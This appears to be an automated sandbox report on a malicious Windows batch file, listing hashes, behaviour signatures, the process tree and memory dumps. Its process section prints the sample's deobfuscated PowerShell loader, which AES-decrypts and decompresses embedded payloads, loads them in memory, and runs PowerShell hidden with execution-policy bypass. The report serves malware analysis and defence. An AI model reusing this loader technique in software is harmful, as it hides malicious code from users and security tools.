Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30-05-2024 13:25

General

  • Target

    myxwr5cli.bat

  • Size

    379KB

  • MD5

    03c6c2175f84ad54c989f0608d3cbb57

  • SHA1

    9846d7aa4c639d038f428977dfe0eef7db8ac009

  • SHA256

    6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7

  • SHA512

    45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8

  • SSDEEP

    6144:xdlplCiywRsuBfq3Y3zzyMECoefagF68zh3IHstkjcGH9z2eRTbYXa8KZITbq:xrCiHWuBS3Y3zzyDCoefPQsy/qeF6KZl

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\system32\cmd.exe
      cmd /c "set __=^&rem"
      2⤵
        PID:1708
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:2188
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2696

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/2696-4-0x000007FEF5C5E000-0x000007FEF5C5F000-memory.dmp

        Filesize

        4KB

      • memory/2696-5-0x000000001B690000-0x000000001B972000-memory.dmp

        Filesize

        2.9MB

      • memory/2696-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

        Filesize

        32KB

      • memory/2696-7-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

        Filesize

        9.6MB

      • memory/2696-8-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

        Filesize

        9.6MB

      • memory/2696-9-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

        Filesize

        9.6MB

      • memory/2696-10-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

        Filesize

        9.6MB